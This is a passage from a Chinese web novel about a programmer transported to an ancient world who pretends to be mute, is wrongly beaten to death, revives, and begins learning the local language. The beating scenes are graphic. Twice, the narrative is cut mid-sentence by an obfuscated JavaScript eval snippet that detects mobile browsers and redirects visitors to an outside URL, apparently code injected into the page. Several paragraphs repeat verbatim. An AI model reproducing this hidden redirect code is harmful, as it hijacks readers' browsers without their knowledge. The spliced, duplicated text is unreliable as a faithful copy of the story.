手腕被铁链勒得生疼。他想起手腕上那两条红痕;想起那些死而复生的怪事;想起自己为啥会流落到这鬼地方。他想,也许这次,又要完蛋了。这轮回比公司那个死循环的bug还难解。 衙役把他搡进官府大堂时,他一个踉跄。一抬头,正撞见堂上高悬的匾额——“明镜高悬”,四个大字红得刺眼。 他想起现代那些法院,气派的大楼,国徽高悬;想起“公平正义”的漂亮话。可眼前这大堂里光线昏暗,只有一个留着山羊胡的县官高高坐在案后,手里掂着惊堂木,看他的眼神活像在看砧板上待宰的肉。 “跪下!”衙役一声暴喝。水火棍“咚”地戳在他膝盖窝。 林越“扑通”跪倒,膝盖骨狠狠砸在冰凉的石板上。 县官“啪”地一拍惊堂木:“尔可知罪?”林越摇头,用力摇头。可他是个“哑巴”,只能摇头,用手比划。 “肃静!”堂上传来县官威严的声音,“今有流民触犯《大炎礼法》第三条:庶民见官不跪不拜,是为不敬!” 林越趴在地上,疼得直抽冷气。不跪不拜?这他妈不是跪着吗?从进大堂就跪着。这县官眼睛长屁股上了? 啪!第二杖落下,这次打在了腰眼上。林越感觉脊椎像要断了,眼前一黑,差点昏过去。 “又触犯《大炎礼法》第九条:问而不答,沉默以对,是为藐视公堂!”县官的声音慢条斯理。 林越想笑,但笑不出来。问而不答?我他妈是个“哑巴”,怎么答?用眼神答?用心灵感应?这审判,比甲方改需求还不讲理,至少甲方会给个理由,这个连理由都懒得编。 县官冷笑一声,从案上拈起一张纸抖了抖:“有人举报尔中午在绸缎庄后巷鬼鬼祟祟,与掳走王员外千金的贼人相貌相似!尔还有何话说?” 那纸上画的,赫然就是柜台那张通缉令,跟林越还真有三分像!这画像画得也太潦草了吧? 林越的眼泪都快憋出来了。他伸手去扯自己的包头巾,想露出整张脸让他们看清楚。 可县官“啪”又是一记惊堂木:“带证人!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119390|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音未落,一个穿布衫的年轻人走了进来,尖嘴猴腮。他手指头直戳林越鼻尖:“就是他!晌午我亲眼瞧见他在绸缎庄后巷转驴,鬼头鬼脑的,跟掳走千金的贼人一个模子!” 林越脑袋“嗡”的一声!他想起来了,中午他确实在后巷躲太阳,也看见这年轻人了——当时他正跟个卖货郎砍价,压根没瞅自己一眼!两人甚至没有对视过。 可现在,他竟指着自己喊“就是他!” 为啥?凭啥都往他头上扣屎盆子?林越想吼,想叫。可他啥也干不了,嘴巴像被缝住了。 “打!”县官终于不耐烦了,“重打二十大板!看他说不说实话!” 林越眼睛瞪得溜圆。想挣扎,却被两个衙役死死按在地上。 板子“啪”地一声狠狠砸在他背上。疼得他浑身筛糠似的抖。喉咙里挤出一声凄厉的“嗬——!” 第一板落下时,他还能感觉到板子接触皮肤的瞬间,然后才是炸开的疼痛,像被烧红的铁烙过。第二板、第三板……疼痛开始叠加,不再是一下下的独立痛感,而是连成一片的火海,在背上燃烧。他能听到板子拍在皮肉上的闷响,“啪!啪!啪!”,每一声都伴随着衙役粗重的喘息和县官冷漠的注视。 汗水、血水、还有不知道什么时候流出的眼泪,混合在一起,糊在脸上。他的意识在疼痛中漂浮,时而清晰,时而模糊。清晰时,他能数出板子落下的次数,能听到围观者的窃窃私语;模糊时,他仿佛又回到了黄壤屯的牢房,又看到了那些刑具,又感受到了死亡逼近的恐惧。 他想起了手腕上的红痕。上一次死亡是在黄壤屯,被酷刑折磨致死,然后复活在沙丘。这一次呢?也会死吗?也会复活吗?如果会,那这次的痛苦算什么?只是游戏里的过场动画?只是读档前的必要流程?可这痛苦太真实了,真实到他宁愿立刻死去,也不愿再承受哪怕一下。 板子还在落下。他的后背已经麻木了,疼痛从尖锐变得钝重,像是有什么重物压在背上,每一次呼吸都扯动着伤口。他能闻到血腥味,混合着牢房特有的霉味,还有衙役身上的汗臭味。这些气味刺激着他的鼻腔,让他想吐,可胃里空空如也,只能干呕。 他不知道挨了多少下,只觉得后背像被活活撕开了。他趴在地上,看着自己的血慢慢洇进青石板的缝隙。 板子“啪”地一声狠狠砸在他背上。疼得他浑身筛糠似的抖。喉咙里挤出一声凄厉的“嗬——!” 他不知道挨了多少下,只觉得后背像被活活撕开了。他趴在地上,看着自己的血慢慢洇进青石板的缝隙。 可这回他没死成,没有复活,没回到沙丘。只有无边无际的疼;只有身下冰冷的石板;只有四周那些冷冰冰的嘲笑。 衙役把他拖进牢里时,他已经昏死过去。他梦见自己回到了现代,回到了那家便利店;梦见自己说话了;梦见妈妈坐在床边说“没事了”;梦见电脑里没写完的文件。 可等他睁开眼,眼前只有牢房浓得化不开的黑;只有墙角窸窸窣窣的老鼠;只有身上火烧火燎的疼。 他摸了摸自己的手腕。那两条红痕还在,只是其中一条颜色淡了些。他想起之前的死而复生;想起这些红痕像是生命值的标记;想起自己那个天大的秘密——他是个穿越者。 他想,也许这次,还能活过来?像游戏里读档重来。可现在,他只能像条死狗一样瘫在这阴冷的地牢里。 林越的意识在疼痛和黑暗之间浮沉。每一次呼吸都牵扯着后背撕裂般的痛楚。牢房里的空气带着一股霉烂的腥臭味。 他努力睁开眼睛,适应黑暗。这是一间狭小的石牢,墙壁是粗糙的青石砌成。墙角堆着一堆发霉的稻草。 林越的心里涌起一股荒谬的绝望感。这算什么?穿越到古代,就是为了体验一下古代的监狱生活?这待遇比公司那个被关在会议室里写检讨的同事还惨。 但更让他心寒的是那种无力感。在现代社会,就算被冤枉了,至少还有法律程序。可在这里,仅仅因为一个陌生人的指认,仅仅因为自己是个“哑巴”,就被定了罪。他想起了自己装哑巴的初衷——是为了隐藏身份。可现在,这个选择却成了他最大的枷锁。 手腕上的红痕隐隐发烫。林越抬起手,动作艰难。借着极其微弱的光线,他仔细端详。那条颜色较淡的红痕,似乎真的比之前更浅了。这让他心里升起一丝微弱的希望。 如果这次再死一次,会怎么样?也许能回到沙丘,重新开始;也许就真的死了。 不行,不能这样下去。林越咬着牙,强迫自己冷静思考,像程序员debug一样。他必须想办法活下去。装哑巴这条路已经走不通了。也许……他应该开口说话? 可随即他又否定了这个想法。一旦开口,他的口音就会暴露。到时候,等待他的可能就不是简单的牢狱之灾了。 牢房里的温度越来越低,湿冷的空气渗透进骨髓。林越打了个寒颤。他艰难地挪动了一下身体,想要靠近那堆稻草,可每动一下,后背就像被无数根针同时刺穿。 最终,他放弃了。头顶那道缝隙透进来的光线已经完全消失了。牢房彻底陷入了黑暗。 林越闭上眼睛。泪水无声地滑落。他想起了现代的一切,那些平凡却温暖的日子。早上被闹钟吵醒;挤地铁上班;坐在电脑前写代码。那时候,他最大的烦恼不过是加班太多。可现在,那些烦恼都成了遥不可及的奢侈。 如果能回去……他在心里默默发誓。如果能回去,我一定好好活着。可是,还能回去吗? 可眼下,他必须先熬过这一关。熬过这漫漫长夜。 活下去。他对自己说。无论如何,哪怕再死一次,也要活下去。只有活着,才有希望。 林越蜷缩起身体,尽可能地保存体温。他闭上眼睛,开始数数,一、二、三……用这种方法分散注意力,抵抗疼痛,抵抗恐惧。 黑暗中,时间失去了意义。只有疼痛是真实的,只有呼吸是真实的,只有手腕上那两道红痕是真实的——那是他生命的标记,是他穿越的证明,是他回家的希望。 5. 石板血痕 第二天,林越被反剪着双手押往公开刑场时,瞥见不远处茶摊上,那卖茶水的妇人正擦拭着她的铜茶壶。她腰间别着的铜茶漏,在阳光下闪着光,造型竟跟他穿越前在便利店买的保温杯像得惊人! 耳边飘来围观百姓的嘀咕:“这哑巴真够惨的,明明说不出话,就因为县官死抠那本《大炎礼法》里的烂规矩,说沉默就是对上边不敬……”“我听说那王员外的千金根本就没被掳走,是自己跟人私奔了……” 林越心里涌起一股荒谬感。自己因为装哑巴被抓,因为不说话被判不敬,现在又要因为一个莫须有的罪名被杖毙。这逻辑比公司那个“迟到一分钟扣半天工资”的规定还离谱,至少那个规定白纸黑字写得清楚,这个完全是县官一拍脑门定的。 周围的百姓越聚越多,像看戏一样,指指点点,交头接耳。有老人摇头叹气,有妇人捂住孩子的眼睛,有年轻人伸长脖子想看个仔细。阳光很烈,照得人睁不开眼,石板地面反射着白光,空气里弥漫着尘土和汗水的味道。 林越被两个衙役夹在中间,反剪的双手被麻绳勒得生疼,手腕已经磨破了皮。他试着挣扎了一下,但衙役的手像铁钳一样,纹丝不动。算了,省点力气吧,反正也逃不掉。 他抬头看了看天,湛蓝湛蓝的,没有一丝云彩。这么好的天气,本来应该坐在办公室里吹空调写代码,或者躺在家里刷手机,现在却要在这里等死。命运这东西,真是捉弄人,比产品经理还善变,昨天还让你加班赶进度,今天就让你上刑场挨板子。 他想起了那个铜茶漏,那个像保温杯的铜茶漏。为什么会在临死前看到那个东西?是巧合?还是某种暗示?那个茶漏和保温杯,一个古代一个现代,造型却如此相似。难道是在提醒他,两个世界之间有着某种联系?还是纯粹是他想多了,临死前大脑开始胡乱联想? 他摇了摇头,把这些乱七八糟的想法甩出去。现在想这些没用,重要的是怎么活下去——如果还能活下去的话。 但看起来希望不大。县官已经坐在高台上,穿着青色官服,戴着乌纱帽,一脸严肃。两旁的衙役手持水火棍,站得笔直。这阵仗,比公司开年会还正式,关键是年会不会要人命,这个会。 林越被拖着往前走,脚上的草鞋已经烂得不成样子,每走一步都像踩在刀尖上。但他已经感觉不到脚上的疼痛了,因为心里的恐惧更甚。第二次了,这是第二次面对死亡。第一次在黄壤屯,是被酷刑折磨致死;现在第二次,是被冤枉杖毙。死法差不多,都是被活活打死,区别只是地点和原因。 他想起手腕上的红痕。第一次死亡后,两道红痕;这次死亡后,可能只剩一道? 不,不能再想下去了。越想越绝望。 到了刑场,那是一片空地,周围围满了看热闹的人。中间铺着青石板,已经被太阳晒得滚烫。县官高高坐在对面台上,声音隔老远传来,但“杖毙”两个字却像烧红的烙铁烫进他耳朵。 林越被强按着跪在滚烫的石板上,膝盖瞬间传来灼痛。视线开始模糊,刑场上卷起的黄沙在风中打着旋儿。 脖颈后猛地窜起一股冰针般的寒意——那是杀气。包着铁皮的沉重木杖高高举起,在烈日下拖出长长的阴影。 林越闭上眼睛。这次要是能回去,一定好好学历史,至少知道怎么在古代装本地人。要是回不去……算了,该死还得死。 他想起现代的生活:早上被闹钟吵醒;挤地铁上班;坐在电脑前写代码。现在想想,加班算什么?至少不用挨打,不用被冤枉。要是能回去,我一定好好加班,再也不抱怨了。 木杖的影子越来越近。他深吸一口气,准备迎接。 啪! 第一杖落下时,林越只觉得整个后背像被烧红的烙铁狠狠烫了一下,皮肉瞬间炸开。他闷哼一声,额头重重磕在石板上。牙齿咬破了嘴唇,血腥味在口腔里弥漫。 卧槽……这比公司年会抽奖抽到加班券还疼…… 疼痛像潮水一样涌来,一波接一波,没有停歇。第一杖的余痛还没过去,第二杖又来了。啪!这次打在腰上,力道更大,林越感觉自己的脊椎像要断了,咔嚓一声轻响,不知道是不是骨头裂了。他忍不住惨叫出声,声音嘶哑难听,像破风箱。 “啊——!” 汗水瞬间湿透了全身,和血水混合在一起,黏糊糊的,难受极了。他趴在地上,脸贴着滚烫的石板,能感觉到石板上的热量,能闻到尘土的味道,能听到自己的心跳,咚咚咚,像打鼓。 第三杖,第四杖……木杖像雨点一样落下,每一下都带来新的剧痛。林越已经数不清挨了多少下了,只觉得整个后背已经麻木了,疼痛从尖锐变得钝重,像是有什么重物压在背上,每一次呼吸都扯动着伤口。 他能听到板子拍在皮肉上的闷响,能听到衙役粗重的喘息,能听到县官冷漠的宣判,能听到围观者的窃窃私语。这些声音混杂在一起,像一首诡异的交响乐,而他则是这场演出的主角,被动地承受着一切。 他想起了第一次在黄壤屯受刑的场景。那时候也是这样,被按在地上打,被严刑拷打,被鞭子抽。但那次更惨,因为时间更长,折磨更多。这次虽然也疼,但至少快一点,不用拖那么久。 他想起了那个胖掌柜,那个好心人。对不住了掌柜,你的铜板我还没花呢,还在怀里揣着,现在可能已经被血浸湿了。要是能回去,一定还你,连本带利。虽然你可能已经不记得我了,或者以为我死了。 他想起了那个带玉坠的少女。那玉坠到底有什么秘密?从黄壤屯到新城镇,当初就不该换出去,留着当护身符也好。 他想起了父母。爸妈,对不起了,儿子不孝,不能给你们养老送终了。如果你们知道我死在这里,死得这么惨,一定会很伤心吧。希望你们永远不知道,希望你们以为我只是失踪了,或者去远方打工了。 他想起了朋友,想起了同事,想起了那个没写完的项目。系统还有bug没修,需求还没确认,代码还没提交。 他想起了手腕上的红痕。还剩一条半,这次死掉后,会不会只剩一条?或者……直接没了?如果红痕代表生命次数,那我是不是快用完了? 不行,不能死,不能就这么死了。我还有太多事情没做,太多疑问没解开。我为什么能死而复生?我还能不能回家? 他想挣扎,想站起来,想逃跑。但身体不听使唤,像一滩烂泥,瘫在地上。衙役的手按着他的肩膀,力道很大,像两座山,压得他动弹不得。 木杖还在落下。一下,又一下。每一下都带走一点生命,每一下都带来一点绝望。 林越的意识开始模糊,视线开始发黑。他感觉自己在往下沉,像沉入深海,周围的声音越来越远,越来越模糊。疼痛也渐渐远去,取而代之的是一种麻木,一种解脱。 要死了吗?终于要死了吗? 也好,死了就解脱了,就不用再疼了,就不用再害怕了,就不用再挣扎了。 但他不甘心。凭什么?凭什么他要死在这里?凭什么他要受这些罪?他做了什么?他只是想活下去,只是想回家,这有错吗? 愤怒,不甘,委屈,绝望……各种情绪涌上心头,像火山一样爆发。他想喊,想叫,想质问这个世界,想质问那些审判他的人。 但他发不出声音。他的喉咙被堵住了,像被什么东西掐着,只能发出“嗬嗬”的声音,像垂死的野兽。 就在这时,他看到了。看到了石板上的血。 他的血,暗红色的,黏稠的,在青石板上流淌,蔓延。那些血迹沿着石板的缝隙延伸,形成一道道红色的线条。奇怪的是,那些线条不是随意流淌的,而是在遵循某种规律,某种图案。 林越眨了眨眼睛,以为自己出现了幻觉。但那些红色的线条确实在动,在汇聚,在连接,在组成……一个形状。 他看到了一个“点”,然后是一个“横”,然后是一个“竖弯钩”……那些血迹像是有意识一样,在石板上勾勒出一个字。一个笔画复杂,但结构分明的字。 不,不可能。林越想摇头,但脖子已经动不了。一定是幻觉,一定是临死前的幻象。 但那个字越来越清晰,越来越完整。 他看到了那个字的全貌——一个歪歪扭扭,但笔画分明的“龙”字! 龙!又是“龙”!在黄壤屯牢房,他临死前看到狱卒令牌背面刻着“龙”字;现在,在新城镇刑场,他临死前看到自己的血在石板上汇成“龙”字! 为什么?为什么总是“龙”?这个字到底代表什么?是某种象征?是某种力量?还是……这个世界的某种规则? 林越的脑子飞速转动,但疼痛和失血让他的思维变得迟钝。他想起了那个带玉坠的少女,她会不会和“龙”有关?那个玉坠,那个青芒,那个流转的光…… 他想起自己手腕上的红痕,那些死而复生的经历。这一切,会不会都和“龙”有关?这个字,为什么会反复出现在他的濒死时刻? 难道……这就是他穿越的原因?这就是他死而复生的秘密?这就是这个世界的真相? 太多的疑问,太少的答案。林越感觉自己的意识在快速流逝,像沙漏里的沙子,一点点漏光。眼前的“龙”字开始模糊,开始扭曲,开始变形。那些血迹还在流淌,但已经不再遵循规律,而是随意蔓延,像一朵盛开的花,又像一张哭泣的脸。 他听到县官的声音,远远的,像是从另一个世界传来:“……行刑已毕,拖下去,扔乱葬岗……” 乱葬岗……又是乱葬岗。上次死在黄壤屯,被扔乱葬岗;这次死在新城镇,也要被扔乱葬岗。这待遇,还真是一视同仁。 林越想笑,但连笑的力气都没有了。他感觉到有人在拖他,一人抬肩膀,一人抬脚,动作粗暴,像拖一袋垃圾。他的身体在石板地上摩擦,后背的伤口被粗糙的石面刮擦,带来新的疼痛,但他已经不在乎了。 他被拖出了刑场,拖过了街道,拖向了城外。他能听到围观者的议论,能听到衙役的咒骂,能听到风吹过耳边,能闻到尘土和血腥混合的味道。 但这一切都越来越远,越来越模糊。最后,他听到的,是自己心跳的声音,越来越慢,越来越弱。咚……咚……咚……然后,停了。 黑暗,无边无际的黑暗。像墨水一样浓稠的黑暗,将他包裹,将他吞噬。 在黑暗中,他仿佛又看到了那个“龙”字,血红色的,在黑暗中发光,像一个指引,又像一个警告。那个字旋转着,变幻着,最后化作一道红光,没入他的手腕。 林越感觉左手腕一阵灼热,像被烙铁烫了一下。他想抬手看看,但手抬不起来。他只能感觉到那股灼热,从手腕蔓延到全身,像火焰在血管里流淌。 然后,火焰熄灭了。黑暗重新降临,更深,更沉,更彻底。 这一次,没有关东煮,没有烤肠,没有沙丘。只有黑暗,永恒的黑暗。 不知过了多久,也许是一瞬间,也许是永恒。林越的意识在黑暗中漂浮,像一片羽毛,没有方向,没有目的。 他听到一个声音,很轻,很遥远,像是从地底传来,又像是从天空落下。那声音在重复一个字,一个他熟悉得不能再熟悉的字: “龙……” “龙……” “龙……” 声音越来越响,越来越近。林越猛地睁开眼睛—— 他站在了城镇外面的破驿站里! 他低头看向左手腕。那两条红痕还在,但其中一条的颜色明显淡了很多,像是褪色了,从鲜红变成淡红,马上要看不见了。 只剩一条了。 手腕上那一条红痕,在阳光下格外刺眼。那是他的生命线,是他的倒计时。每死一次,就少一条。还剩一条,也就是说,他还能死一次? 不,不能再死了。还有一种可能是红痕消失就是彻底的死亡。 林越盯着手腕,心里涌起复杂的感觉。第三次活过来了。但代价是什么?是红痕的消失?是生命的消耗? 他想起刑场上那个血色的“龙”字,那个在石板上汇成的图案。那绝对不是幻觉,绝对不是巧合。那是有意义的,那是在告诉他什么。 “龙”……这个字,这个禁忌,这个反复出现的符号,到底意味着什么? 他想起黄壤屯狱卒令牌上的“龙”字刻痕;想起刑场石板上血痕汇成的“龙”字;想起自己手腕上的红痕,那些记录死亡次数的标记。 这一切,都指向同一个方向:这个世界的秘密,他穿越的原因,他死而复生的能力,都和“龙”有关。但目前为止还有什么特别相关的线索或人物出现过,也许之后有机会要多多收集相关的信息。 林越决定,还是先去新城镇。他检查了一下身上的东西:破烂的粗布衣,快散架的草鞋,怀里还有几文钱,虽然被血浸湿了,但还能用。哦,对了,还有那个关东煮纸杯,虽然空了,但也许还有用。 他小心翼翼地把纸杯折好,塞进怀里。这是他从现代带来的东西,也许以后能用上,比如当引火物,或者当容器。 太阳渐渐升高,沙丘上的温度越来越高。林越用破布裹住头,挡住阳光。他需要保存体力,需要规划路线。 这一次,不能再莽撞了。不能再轻易相信别人,不能再暴露身份,不能再犯同样的错误。要谨慎,要观察,要学习,要适应。 他想起自己装哑巴的教训。不说话反而成了罪证,成了默认。也许,他需要学习语言,学习礼仪,学习这个世界的规则。只有融入,才能生存;只有生存,才能找到答案。 好吧,那就从语言开始。这一次,他不再装哑巴,而是要努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119391|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力学习本地语言,模仿本地口音,学习本地礼仪。虽然很难,但必须做。 他走出驿站,沿着土路往城镇走去。路上,他看见几个行人,有挑着担子的货郎,有牵着驴的老汉,有抱着孩子的妇人。 林越放慢脚步,仔细观察他们。看他们怎么走路,怎么行礼,怎么说话。他竖起耳朵,努力听他们说的每一个字,每一个音。 “尔去何处?”一个老汉问货郎。 “去镇上卖货。”货郎回答。 “尔……去……何处……”林越小声重复着,“这是问‘你去哪里’……” 他继续往前走,看见一个年轻人向一个老者行礼,右手握拳,左手覆在右手上,微微躬身。 林越学着做了做,动作有些笨拙,但大概记住了。 快到镇口时,他看见一个包子铺。铺子不大,就一间土坯房,门口支着个简陋的竹棚,棚下摆着两张破旧的木桌和几条长凳。蒸笼架在土灶上,白茫茫的蒸汽“噗噗”地往外冒,带着面食特有的香甜味儿,直往人鼻子里钻。 铺子前围了几个人,有挑着担子的货郎,有背着柴禾的樵夫,还有个牵着驴的老汉。老板是个中年汉子,约莫四十来岁,身材敦实,脸上带着憨厚的笑,动作却麻利得很。他一边用油腻的抹布擦手,一边招呼客人:“来来来,刚出笼的肉包子,热乎着哩!三文钱一个,五文钱俩!” 林越停下脚步,站在不远处的墙角,假装整理草鞋,眼睛却盯着老板。他需要观察,需要学习,需要知道这个世界的普通人是怎么生活的——怎么说话,怎么做事,怎么与人打交道。这是他活下去的唯一方法。 老板手脚麻利地从蒸笼里夹出包子,用油纸包好,递给客人:“小心烫!慢慢吃!”他说话时带着浓重的本地口音,但林越仔细听,能听懂大概意思。 “今儿个生意不错,卖了五十个包子哩!”老板一边收钱一边跟客人聊天,脸上笑开了花,“早上刚开张就来了好几拨人,都是赶早集的。” 客人是个年轻后生,接过包子咬了一口,烫得直哈气:“唔……好吃!老板手艺越来越好了!” “那是!”老板得意地扬了扬下巴,“俺这包子,用的是上好的五花肉,肥瘦相间,剁得细细的,加上俺家祖传的秘方调料,那味道,保准尔吃了还想吃!” 林越听着,心里默默记下这些对话。“今儿个……就是今天……卖了五十个包子……生意不错……”他小声念叨着,这老板说话挺有意思,带着股自豪劲儿,跟公司那个爱吹牛的产品经理似的。 客人走后,老板回到铺子里,从柜台底下拿出一个账本。那账本看起来很旧了,封面是深蓝色的粗布,边角都磨得发白。老板又拿出一支毛笔,在砚台里蘸了蘸墨,翻开账本,准备记账。 林越假装路过,慢慢踱步到铺子侧面,借着竹棚的遮挡,悄悄瞥了一眼账本。他的位置很巧妙,既能看清账本上的内容,又不会被老板直接发现。 账本摊开在柜台上,纸张泛黄,上面写满了字。但那些字……很奇怪。 林越眯起眼睛,仔细看。那些字不是他熟悉的楷书,也不是他之前见过的行书或草书。那些符号弯弯曲曲,笔画复杂,像是大篆,但又不太一样。大篆他见过图片,虽然不认识,但大概知道是什么样子。可这些符号……比大篆更扭曲,更诡异,像是某种变体,或者说,像是某种密码。 这是什么字?林越心里疑惑,看起来好奇怪,不像普通的汉字。 他看见老板在账本上写下今天的日期——用的是普通的数字“初五”,这个林越认识。但接下来,老板写的内容就让林越看不懂了。 老板写了一个奇怪的符号,看起来像是一条盘曲的蛇,又像是一个扭曲的“龙”字。然后他在旁边写了个数字“五十”,应该是表示卖了五十个包子。但那个符号……林越总觉得在哪里见过。 林越心里一动,这个符号……好像跟上次死前看到的那个血痕形成的‘龙’字有点像? 他想起上次被杖毙时,在石板上看到的那个由鲜血形成的“龙”字。那个字歪歪扭扭,笔画诡异,跟眼前账本上的这个符号有几分相似。 老板又写了一个符号,这次看起来像是一个简化的“人”字,但笔画更加扭曲。他在旁边写了个数字“三”,应该是表示三文钱一个。 这些符号……难道是某种暗号?林越想着,包子铺老板为什么要用这种奇怪的符号记账?普通的数字和文字不能用吗? 他继续观察。老板又写了几个符号,每个符号旁边都配着数字。有的符号看起来像动物,有的像植物,有的干脆就是一些莫名其妙的线条组合。林越一个都看不懂,但他能感觉到,这些符号不是随便写的,它们有规律,有系统。 这老板,不简单啊。林越心里警惕起来,一个普通的包子铺老板,为什么要用这么复杂的符号记账?他在隐藏什么? 就在这时,老板似乎察觉到了什么。他抬起头,目光扫过铺子外面,正好对上了林越的视线。 林越心里一惊,赶紧低下头,弯腰拍裤脚的灰土。他能感觉到老板的目光在他身上停留了几秒,那目光里带着审视,带着警惕,甚至……带着一丝不易察觉的寒意。 被发现了!林越心里一紧,得赶紧走! 他站起身,快步走开。他没有回头,但他能感觉到老板的目光一直跟在他背上,像针一样扎人。 走出十几步后,林越才敢稍微放慢脚步。他深吸一口气,强迫自己冷静下来。 那账本有问题,他想着,那些符号不像普通的字,更像是某种密码,或者某种特殊的文字系统。 他想起之前见过的那些奇怪的事情——狱卒令牌上的“龙”字,石板血痕形成的“龙”字,现在又是包子铺账本上的奇怪符号。这些东西之间,会不会有什么联系? 这个世界比想象的还要复杂,林越感觉后背发凉,不只是语言不通,礼仪不懂,还有这些隐藏在表面之下的秘密…… 他回头看了一眼包子铺。老板已经收起了账本,正在招呼新的客人。他脸上又恢复了那种憨厚的笑容,动作麻利,语气热情,看起来就是个普通的包子铺老板。 他转身,继续往镇里走去。但这一次,他的脚步更加沉重,心情更加复杂。 阳光照在他身上,暖洋洋的,但他却感觉不到温暖。只有一种深深的、无法言说的寒意,从心底慢慢升起。 但他现在没时间深究。他得先活下去,先学会说话,先融入这个世界。 他走进城镇,这回记得抬头看了下匾额,写着“清水镇”三个字,石板路还是那么平整,店铺还是那么热闹。林越深吸一口气,朝着酒肆的方向走去。 这一次,他要更小心,更谨慎,更努力。 因为,他只有一条命了。 6. 偷食之罪 清晨的第一缕阳光透过柴房缝隙照进来时,林越已经醒了。他盯着手腕上那道清晰的红痕看了很久,直到眼睛发酸。 只剩一次机会了。 这个念头像一块巨石压在他心头。他坐起身,开始今天的第一个任务:伪装。 第三次了。第一次死在乱葬岗,第二次被杖毙,这次不能再死了。那种疼痛,那种绝望,他不想再经历第三次。 这次一定要小心。语言、礼仪、行为,每一个细节都要注意。在这个世界,说错一个字,做错一个动作,都可能要命。 从墙角抓起一把碳灰,他走到水缸前,借着水面模糊的倒影,开始在自己脸上涂抹。用深色的碳灰在颧骨下方打阴影,让脸看起来更瘦削;用浅色的灰在眉骨处提亮;最后在嘴角画上几道细纹,让自己看起来老了几岁。 不能太明显,但也不能完全不像。得让人觉得和通缉令上的完全不同,但又不能引起怀疑。 伪装完成后,他换上那套从旧衣摊上淘来的粗布衣服——比之前的更破旧,但洗得干净。衣服上有几个补丁,针脚粗糙,但至少没有破洞。 最后,他对着水面练习今天的第一个词,嘴唇微动:“谢过。” 发音要准确,声调要到位。大炎官话的声调比普通话复杂,有六个调值。林越已经练习了好几天,但还是不敢大意。 这是他在清水镇的第二天。一天前,他带着从破驿站学来的基础语言和礼仪,小心翼翼地进入这个城镇。他还是找了这家酒肆打工,胖掌柜听说林越是外地来的流民,愿意给他一个栖身之所。 林越很珍惜这个机会。他每天天不亮就起床,劈柴、挑水、搬酒坛,什么脏活累活都干,没有怨言。闲下来的时候,他就躲在角落里,竖起耳朵听客人们聊天,学习他们的发音、用词、语气。 这学习方式比公司培训还累。至少培训有老师讲,有教材看。这里全靠自己偷听,错了都不知道。 但他发现了一些规律。大炎官话的语法和普通话有些相似,但词汇和发音差别很大。比如“吃饭”叫“恰饭”,“喝水”叫“饮汤”,“睡觉”叫“眠觉”。 林越像背代码一样背这些词汇。每天早上醒来,第一件事就是默念昨天学到的词;干活的时候,在心里造句;晚上睡觉前,复习一整天听到的对话。他甚至还发明了一套自己的记忆法——把发音相似的词归类,把意思相关的词分组,像是在整理数据库。 他发现大炎官话里有不少古汉语的影子,有些词他依稀记得在文言文里见过。这让他稍微安心了一点,至少不是完全陌生的语言体系。但发音依然是最大的难关,那些奇怪的声调,那些卷舌音,那些喉音,让他舌头打结,喉咙发紧。 更麻烦的是方言差异。清水镇的口音和黄壤屯的不太一样,更柔和,更绵长。他之前在破驿站学的是黄壤屯那边的口音,到这里还得重新调整。这感觉就像学了一种编程语言,换了个版本,语法差不多,但一些细节变了,得重新适应。 他特别注意那些容易混淆的词。比如“龙”和“饿”,发音相近,但意思天差地别。一个是禁忌,一个是生理需求。说错了“龙”字,直接死刑;说错了“饿”字,顶多被人笑话。所以他反复练习这两个词的发音,对着水缸的倒影,观察口型,调整舌头位置。 “龙——le,二声,舌头后缩,口腔打开。” “饿——le,四声,舌头平放,嘴角稍收。” 他一遍遍地念,直到口干舌燥。这两个词太重要了,一个关乎生死,一个关乎温饱。他可不想因为发音不准,把“我饿”说成“我龙”,那乐子就大了,直接送菜市口。 他还注意到,大炎官话有很多敬语和谦语。对长辈要说“您”,语气恭敬;对平辈要说“尔”;对自己要说“小人”或“草民”。这些规矩比现代汉语复杂得多,一不小心就会用错。 这规矩比公司那个“必须叫领导职称”的规定还麻烦。至少叫错了领导职称,顶多被批评一顿。这里叫错了,可能就要掉脑袋。所以他必须小心。 他学得很快,也许是求生的本能,也许是程序员的逻辑思维帮助了他。现在已经能听懂大部分日常对话,也能进行简单的交流。但他知道,这还不够。 比如现在,他正在劈柴。一个伙计走过来:“喂,新来的,掌柜让尔去前店搬两坛酒,客人要的。” 林越放下斧头,低头应道:“是,小人这就去。”他刻意用了“小人”这个自称——这是平民对上级的标准用语。 走到前店,他低着头,目不斜视。他知道自己的伪装能骗过一般人,但如果是眼神敏锐的人,还是有可能认出来。所以他尽量避免出现在人多的地方。 低调,一定要低调。不能引起注意,不能让人怀疑,不能犯错。犯错就是死,没有第二次机会。 前店比后院热闹得多,人声嘈杂,酒气弥漫。林越快速扫了一眼,确认没有熟悉的面孔,这才松了口气。 他搬起两坛酒,压得肩膀生疼。但他不敢停,也不敢慢,脚步稳而快。 搬完酒坛,他回到后院,继续劈柴。斧头起落,木柴应声而裂。汗水顺着额头流下来,滴进眼睛里,刺得生疼。但他不敢擦,怕手上的碳灰被汗水冲掉。 中午,胖掌柜给了他一碗稀粥和一张干饼。林越接过,低声说:“谢过掌柜。” “吃吧,下午还有活。”胖掌柜摆摆手,转身走了。 